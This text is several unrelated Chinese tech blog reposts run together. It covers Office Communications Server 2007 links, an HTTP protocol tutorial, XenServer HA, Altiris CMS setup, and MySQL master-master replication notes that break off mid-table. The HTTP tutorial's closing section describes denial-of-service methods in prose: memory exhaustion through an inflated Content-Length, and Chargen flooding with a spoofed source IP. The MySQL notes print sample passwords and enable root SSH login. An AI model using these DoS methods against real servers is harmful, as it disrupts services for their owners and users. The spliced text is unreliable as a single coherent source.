http://site/index.html?userid=sip:aaa@company.com&contactid=sip:bbb@company.com Web 页面中的 OnSelectionChange 函数 用户选中联系人或切换选中的联系人时调用该函数 形式: OnSelectionChange(contacts, groups, distribution_groups) Office Communications Server 2007(体验版) http://www.microsoft.com/downloads/details.aspx?FamilyID=663e5ef7-2288-46b0-9142-b2135a8fbdb9&DisplayLang=en Office Communicator 2007体验版(客户端) http://www.microsoft.com/downloads/details.aspx?FamilyID=7f5ab627-2d34-470d-9393-8b3ede6fe3c4&DisplayLang=en Office Communications Server 2007(文档) http://technet.microsoft.com/en-us/library/bb676082.aspx Office Communications Server 2007 SDK http://www.microsoft.com/downloads/details.aspx?familyid=7F4CE9C5-9E02-4B99-AA09-360D920D3EE0&displaylang=en Office Communicator 2007 SDK http://www.microsoft.com/downloads/details.aspx?familyid=ED1CCE45-CC22-46E1-BD50-660FE6D2C98C&displaylang=en Managed API SDK (Release Candidate) http://www.microsoft.com/downloads/details.aspx?familyid=B30306E4-7DC1-44D2-9A68-9B4A6FC5C2DF&displaylang=en 本文转自 高阳 51CTO博客,原文链接:http://blog.51cto.com/xiaoyinnet/196446 ,如需转载请自行联系原作者
转自:http://blog.csdn.net/gueter/archive/2007/03/08/1524447.aspx Author :Jeffrey 引言 HTTP是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。它于1990年提出,经过几年的使用与发展,得到不断地完善和扩展。目前在WWW中使用的是HTTP/1.0的第六版,HTTP/1.1的规范化工作正在进行之中,而且HTTP-NG(Next Generation of HTTP)的建议已经提出。 HTTP协议的主要特点可概括如下: 1.支持客户/服务器模式。 2.简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器联系的类型不同。由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。 3.灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。 4.无连接:无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时间。 5.无状态:HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大。另一方面,在服务器不需要先前信息时它的应答就较快。 一、HTTP协议详解之URL篇 http(超文本传输协议)是一个基于请求与响应模式的、无状态的、应用层的协议,常基于TCP的连接方式,HTTP1.1版本中给出一种持续连接的机制,绝大多数的Web开发,都是构建在HTTP协议之上的Web应用。 HTTP URL (URL是一种特殊类型的URI,包含了用于查找某个资源的足够的信息)的格式如下:http://host[":"port][abs_path] http表示要通过HTTP协议来定位网络资源;host表示合法的Internet主机域名或者IP地址;port指定一个端口号,为空则使用缺省端口80;abs_path指定请求资源的URI;如果URL中没有给出abs_path,那么当它作为请求URI时,必须以“/”的形式给出,通常这个工作浏览器自动帮我们完成。 eg: 1、输入:www.guet.edu.cn浏览器自动转换成:http://www.guet.edu.cn/2、http:192.168.0.116:8080/index.jsp 二、HTTP协议详解之请求篇 http请求由三部分组成,分别是:请求行、消息报头、请求正文 1、请求行以一个方法符号开头,以空格分开,后面跟着请求的URI和协议的版本,格式如下:Method Request-URI HTTP-Version CRLF 其中 Method表示请求方法;Request-URI是一个统一资源标识符;HTTP-Version表示请求的HTTP协议版本;CRLF表示回车和换行(除了作为结尾的CRLF外,不允许出现单独的CR或LF字符)。 请求方法(所有方法全为大写)有多种,各个方法的解释如下: GET 请求获取Request-URI所标识的资源 POST 在Request-URI所标识的资源后附加新的数据 HEAD 请求获取由Request-URI所标识的资源的响应消息报头 PUT 请求服务器存储一个资源,并用Request-URI作为其标识 DELETE 请求服务器删除Request-URI所标识的资源 TRACE 请求服务器回送收到的请求信息,主要用于测试或诊断 CONNECT 保留将来使用 OPTIONS 请求查询服务器的性能,或者查询与资源相关的选项和需求 应用举例: GET方法:在浏览器的地址栏中输入网址的方式访问网页时,浏览器采用GET方法向服务器获取资源,eg:GET /form.html HTTP/1.1 (CRLF) POST方法要求被请求服务器接受附在请求后面的数据,常用于提交表单。 eg:POST /reg.jsp HTTP/ (CRLF) Accept:image/gif,image/x-xbit,... (CRLF) ... HOST:www.guet.edu.cn (CRLF) Content-Length:22 (CRLF) Connection:Keep-Alive (CRLF) Cache-Control:no-cache (CRLF) (CRLF) //该CRLF表示消息报头已经结束,在此之前为消息报头 user=jeffrey&pwd=1234 //此行以下为提交的数据 HEAD方法与GET方法几乎是一样的,对于HEAD请求的回应部分来说,它的HTTP头部中包含的信息与通过GET请求所得到的信息是相同的。利用这个方法,不必传输整个资源内容,就可以得到Request-URI所标识的资源的信息。该方法常用于测试超链接的有效性,是否可以访问,以及最近是否更新。 2、请求报头后述 3、请求正文(略) 三、HTTP协议详解之响应篇 在接收和解释请求消息后,服务器返回一个HTTP响应消息。 HTTP响应也是由三个部分组成,分别是:状态行、消息报头、响应正文 1、状态行格式如下: HTTP-Version Status-Code Reason-Phrase CRLF 其中,HTTP-Version表示服务器HTTP协议的版本;Status-Code表示服务器发回的响应状态代码;Reason-Phrase表示状态代码的文本描述。 状态代码有三位数字组成,第一个数字定义了响应的类别,且有五种可能取值: 1xx:指示信息--表示请求已接收,继续处理 2xx:成功--表示请求已被成功接收、理解、接受 3xx:重定向--要完成请求必须进行更进一步的操作 4xx:客户端错误--请求有语法错误或请求无法实现 5xx:服务器端错误--服务器未能实现合法的请求 常见状态代码、状态描述、说明: 200 OK //客户端请求成功 400 Bad Request //客户端请求有语法错误,不能被服务器所理解 401 Unauthorized //请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用 403 Forbidden //服务器收到请求,但是拒绝提供服务 404 Not Found //请求资源不存在,eg:输入了错误的URL 500 Internal Server Error //服务器发生不可预期的错误 503 Server Unavailable //服务器当前不能处理客户端的请求,一段时间后可能恢复正常 eg:HTTP/1.1 200 OK (CRLF) 2、响应报头后述 3、响应正文就是服务器返回的资源的内容 四、HTTP协议详解之消息报头篇 HTTP消息由客户端到服务器的请求和服务器到客户端的响应组成。请求消息和响应消息都是由开始行(对于请求消息,开始行就是请求行,对于响应消息,开始行就是状态行),消息报头(可选),空行(只有CRLF的行),消息正文(可选)组成。 HTTP消息报头包括普通报头、请求报头、响应报头、实体报头。 每一个报头域都是由名字+“:”+空格+值 组成,消息报头域的名字是大小写无关的。 1、普通报头 在普通报头中,有少数报头域用于所有的请求和响应消息,但并不用于被传输的实体,只用于传输的消息。 eg: Cache-Control 用于指定缓存指令,缓存指令是单向的(响应中出现的缓存指令在请求中未必会出现),且是独立的(一个消息的缓存指令不会影响另一个消息处理的缓存机制),HTTP1.0使用的类似的报头域为Pragma。 请求时的缓存指令包括:no-cache(用于指示请求或响应消息不能缓存)、no-store、max-age、max-stale、min-fresh、only-if-cached; 响应时的缓存指令包括:public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate、max-age、s-maxage. eg:为了指示IE浏览器(客户端)不要缓存页面,服务器端的JSP程序可以编写如下:response.sehHeader("Cache-Control","no-cache"); //response.setHeader("Pragma","no-cache");作用相当于上述代码,通常两者//合用 这句代码将在发送的响应消息中设置普通报头域:Cache-Control:no-cache Date普通报头域表示消息产生的日期和时间 Connection普通报头域允许发送指定连接的选项。例如指定连接是连续,或者指定“close”选项,通知服务器,在响应完成后,关闭连接 2、请求报头 请求报头允许客户端向服务器端传递请求的附加信息以及客户端自身的信息。 常用的请求报头 Accept Accept请求报头域用于指定客户端接受哪些类型的信息。eg:Accept:image/gif,表明客户端希望接受GIF图象格式的资源;Accept:text/html,表明客户端希望接受html文本。 Accept-Charset Accept-Charset请求报头域用于指定客户端接受的字符集。eg:Accept-Charset:iso-8859-1,gb2312.如果在请求消息中没有设置这个域,缺省是任何字符集都可以接受。 Accept-Encoding Accept-Encoding请求报头域类似于Accept,但是它是用于指定可接受的内容编码。eg:Accept-Encoding:gzip.deflate.如果请求消息中没有设置这个域服务器假定客户端对各种内容编码都可以接受。 Accept-Language Accept-Language请求报头域类似于Accept,但是它是用于指定一种自然语言。eg:Accept-Language:zh-cn.如果请求消息中没有设置这个报头域,服务器假定客户端对各种语言都可以接受。 Authorization Authorization请求报头域主要用于证明客户端有权查看某个资源。当浏览器访问一个页面时,如果收到服务器的响应代码为401(未授权),可以发送一个包含Authorization请求报头域的请求,要求服务器对其进行验证。 Host(发送请求时,该报头域是必需的) Host请求报头域主要用于指定被请求资源的Internet主机和端口号,它通常从HTTP URL中提取出来的,eg: 我们在浏览器中输入:http://www.guet.edu.cn/index.html浏览器发送的请求消息中,就会包含Host请求报头域,如下: Host:www.guet.edu.cn此处使用缺省端口号80,若指定了端口号,则变成:Host:www.guet.edu.cn:指定端口号 User-Agent 我们上网登陆论坛的时候,往往会看到一些欢迎信息,其中列出了你的操作系统的名称和版本,你所使用的浏览器的名称和版本,这往往让很多人感到很神奇,实际上,服务器应用程序就是从User-Agent这个请求报头域中获取到这些信息。User-Agent请求报头域允许客户端将它的操作系统、浏览器和其它属性告诉服务器。不过,这个报头域不是必需的,如果我们自己编写一个浏览器,不使用User-Agent请求报头域,那么服务器端就无法得知我们的信息了。 请求报头举例: GET /form.html HTTP/1.1 (CRLF) Accept:image/gif,image/x-xbitmap,image/jpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,*/* (CRLF) Accept-Language:zh-cn (CRLF) Accept-Encoding:gzip,deflate (CRLF) If-Modified-Since:Wed,05 Jan 2007 11:21:25 GMT (CRLF) If-None-Match:W/"80b1a4c018f3c41:8317" (CRLF) User-Agent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) Host:www.guet.edu.cn (CRLF) Connection:Keep-Alive (CRLF) (CRLF) 3、响应报头 响应报头允许服务器传递不能放在状态行中的附加响应信息,以及关于服务器的信息和对Request-URI所标识的资源进行下一步访问的信息。 常用的响应报头 Location Location响应报头域用于重定向接受者到一个新的位置。Location响应报头域常用在更换域名的时候。 Server Server响应报头域包含了服务器用来处理请求的软件信息。与User-Agent请求报头域是相对应的。下面是 Server响应报头域的一个例子: Server:Apache-Coyote/1.1 WWW-Authenticate WWW-Authenticate响应报头域必须被包含在401(未授权的)响应消息中,客户端收到401响应消息时候,并发送Authorization报头域请求服务器对其进行验证时,服务端响应报头就包含该报头域。 eg:WWW-Authenticate:Basic realm="Basic Auth Test!" //可以看出服务器对请求资源采用的是基本验证机制。 4、实体报头 请求和响应消息都可以传送一个实体。一个实体由实体报头域和实体正文组成,但并不是说实体报头域和实体正文要在一起发送,可以只发送实体报头域。实体报头定义了关于实体正文(eg:有无实体正文)和请求所标识的资源的元信息。 常用的实体报头 Content-Encoding Content-Encoding实体报头域被用作媒体类型的修饰符,它的值指示了已经被应用到实体正文的附加内容的编码,因而要获得Content-Type报头域中所引用的媒体类型,必须采用相应的解码机制。Content-Encoding这样用于记录文档的压缩方法,eg:Content-Encoding:gzip Content-Language Content-Language实体报头域描述了资源所用的自然语言。没有设置该域则认为实体内容将提供给所有的语言阅读 者。eg:Content-Language:da Content-Length Content-Length实体报头域用于指明实体正文的长度,以字节方式存储的十进制数字来表示。 Content-Type Content-Type实体报头域用语指明发送给接收者的实体正文的媒体类型。eg: Content-Type:text/html;charset=ISO-8859-1 Content-Type:text/html;charset=GB2312 Last-Modified Last-Modified实体报头域用于指示资源的最后修改日期和时间。 Expires Expires实体报头域给出响应过期的日期和时间。为了让代理服务器或浏览器在一段时间以后更新缓存中(再次访问曾访问过的页面时,直接从缓存中加载,缩短响应时间和降低服务器负载)的页面,我们可以使用Expires实体报头域指定页面过期的时间。eg:Expires:Thu,15 Sep 2006 16:23:12 GMT HTTP1.1的客户端和缓存必须将其他非法的日期格式(包括0)看作已经过期。eg:为了让浏览器不要缓存页面,我们也可以利用Expires实体报头域,设置为0,jsp中程序如下:response.setDateHeader("Expires","0"); 五、利用telnet观察http协议的通讯过程 实验目的及原理: 利用MS的telnet工具,通过手动输入http请求信息的方式,向服务器发出请求,服务器接收、解释和接受请求后,会返回一个响应,该响应会在telnet窗口上显示出来,从而从感性上加深对http协议的通讯过程的认识。 实验步骤: 1、打开telnet 1.1 打开telnet 运行-->cmd-->telnet 1.2 打开telnet回显功能 set localecho 2、连接服务器并发送请求 2.1 open www.guet.edu.cn 80 //注意端口号不能省略 HEAD /index.asp HTTP/1.0 Host:www.guet.edu.cn /*我们可以变换请求方法,请求桂林电子主页内容,输入消息如下*/ open www.guet.edu.cn 80 GET /index.asp HTTP/1.0 //请求资源的内容 Host:www.guet.edu.cn 2.2 open www.sina.com.cn 80 //在命令提示符号下直接输入telnet www.sina.com.cn 80 HEAD /index.asp HTTP/1.0 Host:www.sina.com.cn 3 实验结果: 3.1 请求信息2.1得到的响应是: HTTP/1.1 200 OK //请求成功 Server: Microsoft-IIS/5.0 //web服务器 Date: Thu,08 Mar 200707:17:51 GMT Connection: Keep-Alive Content-Length: 23330 Content-Type: text/html Expries: Thu,08 Mar 2007 07:16:51 GMT Set-Cookie: ASPSESSIONIDQAQBQQQB=BEJCDGKADEDJKLKKAJEOIMMH; path=/ Cache-control: private //资源内容省略 3.2 请求信息2.2得到的响应是: HTTP/1.0 404 Not Found //请求失败 Date: Thu, 08 Mar 2007 07:50:50 GMT Server: Apache/2.0.54 <Unix> Last-Modified: Thu, 30 Nov 2006 11:35:41 GMT ETag: "6277a-415-e7c76980" Accept-Ranges: bytes X-Powered-By: mod_xlayout_jh/0.0.1vhs.markII.remix Vary: Accept-Encoding Content-Type: text/html X-Cache: MISS from zjm152-78.sina.com.cn Via: 1.0 zjm152-78.sina.com.cn:80<squid/2.6.STABLES-20061207> X-Cache: MISS from th-143.sina.com.cn Connection: close 失去了跟主机的连接 按任意键继续... 4 .注意事项:1、出现输入错误,则请求不会成功。 2、报头域不分大小写。 3、更深一步了解HTTP协议,可以查看RFC2616,在http://www.letf.org/rfc上找到该文件。 4、开发后台程序必须掌握http协议 六、HTTP协议相关技术补充 1、基础: 高层协议有:文件传输协议FTP、电子邮件传输协议SMTP、域名系统服务DNS、网络新闻传输协议NNTP和HTTP协议等 中介由三种:代理(Proxy)、网关(Gateway)和通道(Tunnel),一个代理根据URI的绝对格式来接受请求,重写全部或部分消息,通过 URI的标识把已格式化过的请求发送到服务器。网关是一个接收代理,作为一些其它服务器的上层,并且如果必须的话,可以把请求翻译给下层的服务器协议。一 个通道作为不改变消息的两个连接之间的中继点。当通讯需要通过一个中介(例如:防火墙等)或者是中介不能识别消息的内容时,通道经常被使用。 代理(Proxy):一个中间程序,它可以充当一个服务器,也可以充当一个客户机,为其它客户机建立请求。请求是通过可能的翻译在内部或经过传递到其它的 服务器中。一个代理在发送请求信息之前,必须解释并且如果可能重写它。代理经常作为通过防火墙的客户机端的门户,代理还可以作为一个帮助应用来通过协议处 理没有被用户代理完成的请求。 网关(Gateway):一个作为其它服务器中间媒介的服务器。与代理不同的是,网关接受请求就好象对被请求的资源来说它就是源服务器;发出请求的客户机并没有意识到它在同网关打交道。 网关经常作为通过防火墙的服务器端的门户,网关还可以作为一个协议翻译器以便存取那些存储在非HTTP系统中的资源。 通道(Tunnel):是作为两个连接中继的中介程序。一旦激活,通道便被认为不属于HTTP通讯,尽管通道可能是被一个HTTP请求初始化的。当被中继 的连接两端关闭时,通道便消失。当一个门户(Portal)必须存在或中介(Intermediary)不能解释中继的通讯时通道被经常使用。 2、协议分析的优势—HTTP分析器检测网络攻击 以模块化的方式对高层协议进行分析处理,将是未来入侵检测的方向。 HTTP及其代理的常用端口80、3128和8080在network部分用port标签进行了规定 3、HTTP协议Content Lenth限制漏洞导致拒绝服务攻击 使用POST方法时,可以设置ContentLenth来定义需要传送的数据长度,例如ContentLenth:999999999,在传送完成前,内 存不会释放,攻击者可以利用这个缺陷,连续向WEB服务器发送垃圾数据直至WEB服务器内存耗尽。这种攻击方法基本不会留下痕迹。 http://www.cnpaf.net/Class/HTTP/0532918532667330.html 4、利用HTTP协议的特性进行拒绝服务攻击的一些构思 服务器端忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYNFlood攻击(SYN洪水攻击)。 而Smurf、TearDrop等是利用ICMP报文来Flood和IP碎片攻击的。本文用“正常连接”的方法来产生拒绝服务攻击。 19端口在早期已经有人用来做Chargen攻击了,即Chargen_Denial_of_Service,但是!他们用的方法是在两台Chargen 服务器之间产生UDP连接,让服务器处理过多信息而DOWN掉,那么,干掉一台WEB服务器的条件就必须有2个:1.有Chargen服务2.有HTTP 服务 方法:攻击者伪造源IP给N台Chargen发送连接请求(Connect),Chargen接收到连接后就会返回每秒72字节的字符流(实际上根据网络实际情况,这个速度更快)给服务器。 5、Http指纹识别技术 Http指纹识别的原理大致上也是相同的:记录不同服务器对Http协议执行中的微小差别进行识别.Http指纹识别比TCP/IP堆栈指纹识别复杂许 多,理由是定制Http服务器的配置文件、增加插件或组件使得更改Http的响应信息变的很容易,这样使得识别变的困难;然而定制TCP/IP堆栈的行为 需要对核心层进行修改,所以就容易识别. 要让服务器返回不同的Banner信息的设置是很简单的,象Apache这样的开放源代码的Http服务器,用户可以在源代码里修改Banner信息,然 后重起Http服务就生效了;对于没有公开源代码的Http服务器比如微软的IIS或者是Netscape,可以在存放Banner信息的Dll文件中修 改,相关的文章有讨论的,这里不再赘述,当然这样的修改的效果还是不错的.另外一种模糊Banner信息的方法是使用插件。 常用测试请求: 1:HEAD/Http/1.0发送基本的Http请求 2:DELETE/Http/1.0发送那些不被允许的请求,比如Delete请求 3:GET/Http/3.0发送一个非法版本的Http协议请求 4:GET/JUNK/1.0发送一个不正确规格的Http协议请求 Http指纹识别工具Httprint,它通过运用统计学原理,组合模糊的逻辑学技术,能很有效的确定Http服务器的类型.它可以被用来收集和分析不同Http服务器产生的签名。 6、其他:为了提高用户使用浏览器时的性能,现代浏览器还支持并发的访问方式,浏览一个网页时同时建立多个连接,以迅速获得一个网页上的多个图标,这样能更快速完成整个网页的传输。 HTTP1.1中提供了这种持续连接的方式,而下一代HTTP协议:HTTP-NG更增加了有关会话控制、丰富的内容协商等方式的支持,来提供 更高效率的连接。 感谢冯·诺依曼先生.是他整出了世界上的第一台计算机,才使得我们这些后人鸟枪换炮,由“剪刀加糨糊”的“学术土匪”晋级为“鼠标加剪贴板”的“学术海盗”. 感谢负责答辩的老师.在我也不明白所写为何物的情况下,他们只问了我两个问题——都知道写的什么吗?知道;参考文献都看了么?看了.之后便让我通过了答辩.他们是如此和蔼可亲的老师,他们是如此善解人意的老师,他们是如此平易近人而又伟大的老师. 本文转自 陈小龙哈 51CTO博客,原文链接:http://blog.51cto.com/chenxiaolong/1677068
最近一些用户常问起XenServer XenMotion与HA两大功能的区别 XenMotion:是指在一个Pool中的XenServer之间,可以对Running Guest OS进行在两个节点中,不中断Guest OS服务(不停机)的情况下来回迁移。 有关更多XenMotion问题可参考:http://support.citrix.com/article/CTX115813 HA:是指在一个Pool中的XenServer之间,对运行的Guest OS进行在两个节点中,任何一个节点出现故障时,所影响的Guest OS会重新在另外一个节点中进行重新重启起来。 虚拟机HA的级别: 0、XenServer 5.6FP1,(First Restart)优先最高 1(Protect保护):当出现故障时,虚拟机会直接在可用节点中进行重启动作。 2(Restart if possible如果可能并重启)当出现故障时,如果可能将对虚拟机在pool中别的XenServer上进行重启 3(Do Not Restart)不重启 当然,如果你要在一个资源池要配置HA功能,必须是要共享存储。 注意:如果你启用了HA功能,想测试此功能是否生效,你只有对XenServer做硬性破坏,其VM才会在其他节点重新启动,否则,Guest OS只会把自己转移到其他可用的节点,但不是重启。 本文转自zhxhua 51CTO博客,原文链接:http://blog.51cto.com/virtualtop/495744 ,如需转载请自行联系原作者
此文章已经在3月3日发表过。由于图片问题重新发布! Altiris cms 7.0 安装前准备工作 现在Altiris cms 7.0 安装已经不是什么新鲜的技术了,由于网上的资料比较多,比价繁杂,依照网上步骤也是可以做的下来。小弟我本着学习的目的。自己动手实验Altiris cms 7.0从安装到应用。文档我随时都会改,如果有问题也希望大家能提出来。也请前辈们多提拔提拔。 最低要求:Altiris cms 7.0硬件要求的配置:Inter Pentium 4 2.0GHz 双核处理器 2GB内存 10GB磁盘空间 Internet 连接 Altiris cms 7.0软件要求的配置:Microsoft windows server 2003 Microsoft SQL Server 2005或2008 Microsoft IIS ASP.NET Microsoft Internet Explorer 7或8 Microsoft Silverlight 3.0 Sun Java Rumtime 6.0 Adobe Flash Player 10 Altiris cms 7.0补丁要求的补丁:windows Server 2003 sp2 修补程序(KB973825) (我做实验就需要这个补丁,不知道还需要其它什么补丁) Altiris cms 7.0其他:无法在远程会话中安装Altiris cms 7.0 实验环境:我的硬件环境:Dell PowerEdge R410服务器 Inter Xeon(R) CPU E5620 2.40GHz 8GB DDR3 50GB C盘 百兆双网卡 一会在安装过程中会检测安装必要的软,硬件。如果不满足系统的最低要求,就无法下一步安装。 我之前想,8G内存装windows Server 2003 32位版是不是浪费内存,之后装64位的,结果傻眼了。安装在Altiris cms 7.0安装开始,就弹出对话框,不支持64位系统。没办法,换回来了……郁闷。 系统配置 Altiris NS 配置 计算机名 gesila (哥斯拉小怪兽) IP地址 192.168.50.127/255.255.255.0 网关 192.168.50.127 DNS 192.168.50.253,192.168.50.252 操作系统 Windows 2003 enterprise server SP2 32位 安装Altiris帐号 创建本地计算机系统用户sa_altiris,密码 xxxxxx 加入管理员组。(注:该用户不能修改密码和禁用密码不过期) 计算机域: fhw.Phoenixtv.com (网上教程要求修改Hosts文件,将机器名和新IP地址对应起来,但是我没做。) 下面为安装Altiris cms 7.0做准备: 1、 安装Microsoft SQL Server 2005 2、 安装Microsoft Internet Explorer 7 3、 Microsoft IIS 6.0 4、 ASP.NET 5、 Microsoft Silverlight 3.0 6、 Sun Java Rumtime 6.0 7、 Adobe Flash Player 10 准备工作先到这里吧。用writer写的。可能图片个段落排版有问题。日后修改。 本文转自mabofeng 51CTO博客,原文链接: http://blog.51cto.com/mabofeng/506830 ,如需转载请自行联系原作者
本文为南非蚂蚁的书籍《循序渐进linux-第二版》-8.3.5的读笔记 mysql双主互备架构图 mysql主主互备模式配置 环境: DB1:主服务器 centos6.6 mysql5.1.73 IP:10.24.24.111 DB2:从服务器 centos6.6 mysql5.1.73 IP:10.24.24.112 mysql VIP:10.24.24.112 ---------------------------------------- centos6.x安装mysql # yum -y install mysql mysql-server centos7.x安装mariaDB # yum -y install mariadb-server mariadb 安装完成后目录结构如下: 启动mysql # /etc/init.d/mysqld start 创建mysql密码:(jzh0024) # mysql_secure_installation /usr/bin/mysql_secure_installation: line 379: find_mysql_client: command not found NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY! In order to log into MariaDB to secure it, we'll need the current password for the root user. If you've just installed MariaDB, and you haven't set the root password yet, the password will be blank, so you should just press enter here. Enter current password for root (enter for none): #这里输入目前mariadb数据库的root密码,默认是空 OK, successfully used password, moving on... Setting the root password ensures that nobody can log into the MariaDB root user without the proper authorisation. Set root password? [Y/n] y #这里询问是否设置mariadb数据库root的密码,输入"y"给用户设置一个新的密码 New password: Re-enter new password: Password updated successfully! Reloading privilege tables.. ... Success! By default, a MariaDB installation has an anonymous user, allowing anyone to log into MariaDB without having to have a user account created for them. This is intended only for testing, and to make the installation go a bit smoother. You should remove them before moving into a production environment. Remove anonymous users? [Y/n] y #这里询问是否删除匿名用户,输入"y"删除 ... Success! Normally, root should only be allowed to connect from 'localhost'. This ensures that someone cannot guess at the root password from the network. Disallow root login remotely? [Y/n] y #这里询问是否关闭root用户远程登录权限,输入"y" ... Success! By default, MariaDB comes with a database named 'test' that anyone can access. This is also intended only for testing, and should be removed before moving into a production environment. Remove test database and access to it? [Y/n] y #这里询问是否删除测试数据库及其权限,输入"y" - Dropping test database... ... Success! - Removing privileges on test database... ... Success! Reloading the privilege tables will ensure that all changes made so far will take effect immediately. Reload privilege tables now? [Y/n] y #这里询问是否重新载入授权表,输入"y" ... Success! Cleaning up... All done! If you've completed all of the above steps, your MariaDB installation should now be secure. Thanks for using MariaDB! [root@localhost ~]# 至此,mysql数据库安装完成。 ----------------------------------------- 1.修改mysql配置文件 DB1 /etc/my.cnf配置,[mysqld]段添加: server-id = 1 log-bin=mysql-bin replay-log = mysql-relay-bin replicate-wild-ignore-table=mysql.% replicate-wild-ignore-table=test.% replicate-wild-ignore-table=information_schema.% DB /etc/my.cnf配置,[mysqld]段添加: server-id = 2 log-bin=mysql-bin relay-log = mysql-relay-bin replicate-wild-ignore-table=mysql.% replicate-wild-ignore-table=test.% replicate-wild-ignore-table=information_schema.% 这里需要注意的是,不要在主库上使用binlog-do-db或binlog-ignore-db选项,也不要在从库上使用replication-db-do或replication-db选项,因为这样可能产生跨库更新失败的问题; 推荐从库上使用replicate_wild_do_table和replicate-wild-ignore-table两个选项来解决复制过滤问题 2.手动配置数据库 DB1先创建一个数据库及表,用于同步测试 mysql> create database ywadmin; mysql> use ywadmin; 创建表 mysql> create table personal(member_no char(9) not null,name char(5),birthday date,exam_score tinyint,primary key(member_no)); 查看表内容 mysql> desc personal; +------------+------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +------------+------------+------+-----+---------+-------+ | member_no | char(9) | NO | PRI | NULL | | | name | char(5) | YES | | NULL | | | birthday | date | YES | | NULL | | | exam_score | tinyint(4) | YES | | NULL | | +------------+------------+------+-----+---------+-------+ 4 rows in set (0.00 sec) DB1进行锁表并备份数据库 mysql> flush tables with read lock; Query OK, 0 rows affected (0.00 sec) 不要退出终端,否则锁表失败;新开启一个终端对数据进行备份,或者使用mysqldump进行备份 # cd /var/lib/ # tar zcvf mysql.tar.gz mysql # scp -P50024 mysql.tar.gz root@10.24.24.112:/var/lib/ root@10.24.24.112's password: mysql.tar.gz 100% 213KB 213.0KB/s 00:00 注意:此处需要开启DB2授权root远程登录 # vim /etc/ssh/sshd_config #PermitRootLogin no 数据传输到DB2后,依次重启DB1,DB2的数据库 [root@DB1 ~]# /etc/init.d/mysqld restart Stopping mysqld: [ OK ] Starting mysqld: [ OK ] [root@DB2 ~]# /etc/init.d/mysqld restart Stopping mysqld: [ OK ] Starting mysqld: [ OK ] 3.创建复制用户并授权 DB1上创建复制用户, mysql> grant replication slave on *.* to 'repl_user'@'10.24.24.112' identified by 'repl_password'; Query OK, 0 rows affected (0.00 sec) 刷新授权表 mysql> flush privileges; Query OK, 0 rows affected (0.00 sec) mysql> show master status; +------------------+----------+--------------+------------------+ | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | +------------------+----------+--------------+------------------+ | mysql-bin.000002 | 271 | | | +------------------+----------+--------------+------------------+ 1 row in set (0.00 sec) 然后在DB2的数据库中将DB1设为自己的主服务器 # cd /var/lib/ # tar xf mysql.tar.gz mysql> change master to \ -> master_host='10.24.24.111', -> master_user='repl_user', -> master_password='repl_password', -> master_log_file='mysql-bin.000002', -> master_log_pos=271; 需要注意master_log_file和master_log_pos选项,这两个值是刚才在DB1上查询到的结果 DB2上启动从服务器,并查看DB2上的从服务器运行状态 mysql> start slave; Query OK, 0 rows affected (0.00 sec) mysql> show slave status\G; *************************** 1. row *************************** Slave_IO_State: Waiting for master to send event Master_Host: 10.24.24.111 Master_User: repl_user Master_Port: 3306 Connect_Retry: 60 Master_Log_File: mysql-bin.000002 Read_Master_Log_Pos: 271 Relay_Log_File: mysql-relay-bin.000002 Relay_Log_Pos: 251 Relay_Master_Log_File: mysql-bin.000002 Slave_IO_Running: Yes Slave_SQL_Running: Yes Replicate_Do_DB: Replicate_Ignore_DB: Replicate_Do_Table: Replicate_Ignore_Table: Replicate_Wild_Do_Table: Replicate_Wild_Ignore_Table: mysql.%,test.%,information_schema.% Last_Errno: 0 Last_Error: Skip_Counter: 0 Exec_Master_Log_Pos: 271 Relay_Log_Space: 406 Until_Condition: None Until_Log_File: Until_Log_Pos: 0 Master_SSL_Allowed: No Master_SSL_CA_File: Master_SSL_CA_Path: Master_SSL_Cert: Master_SSL_Cipher: Master_SSL_Key: Seconds_Behind_Master: 0 Master_SSL_Verify_Server_Cert: No Last_IO_Errno: 0 Last_IO_Error: Last_SQL_Errno: 0 Last_SQL_Error: 1 row in set (0.00 sec) ERROR: No query specified 至此,DB1到DB2的MYSQL主从复制已完成。 验证数据的完整性 DB1上插入数据 mysql> use ywadmin; mysql> show tables; +-------------------+ | Tables_in_ywadmin | +-------------------+ | personal | +-------------------+ 1 row in set (0.00 sec) mysql> insert into personal values ('001','netseek','1983-03-15','95'); mysql> insert into personal values ('002','heihei','1982-02-24','90'); mysql> insert into personal values ('003','gogo','1985-05-21','85'); mysql> insert into personal values ('004','haha','1984-02-25','84'); mysql> insert into personal values ('005','linlin','1982-04-28','85'); mysql> insert into personal values ('006','xinxin','1985-03-15','75'); mysql> desc personal; DB2数据库上验证数据是否同步 mysql> use ywadmin; mysql> select * from personal; +-----------+-------+------------+------------+ | member_no | name | birthday | exam_score | +-----------+-------+------------+------------+ | 001 | netse | 1983-03-15 | 95 | | 002 | heihe | 1982-02-24 | 90 | | 003 | gogo | 1985-05-21 | 85 | | 004 | haha | 1984-02-25 | 84 | | 005 | linli | 1982-04-28 | 85 | | 006 | xinxi | 1985-03-15 | 75 | +-----------+-------+------------+------------+ 6 rows in set (0.00 sec) 数据已完成复制. --------------------------------------------- 配置DB2到DB1的主从复制 DB2数据库中创建复制用户 mysql> grant replication slave on *.* to 'repl_user1'@'10.24.24.111' identified by 'repl_password1'; 刷新授权表 mysql> flush privileges; Query OK, 0 rows affected (0.00 sec) mysql> show master status; +------------------+----------+--------------+------------------+ | 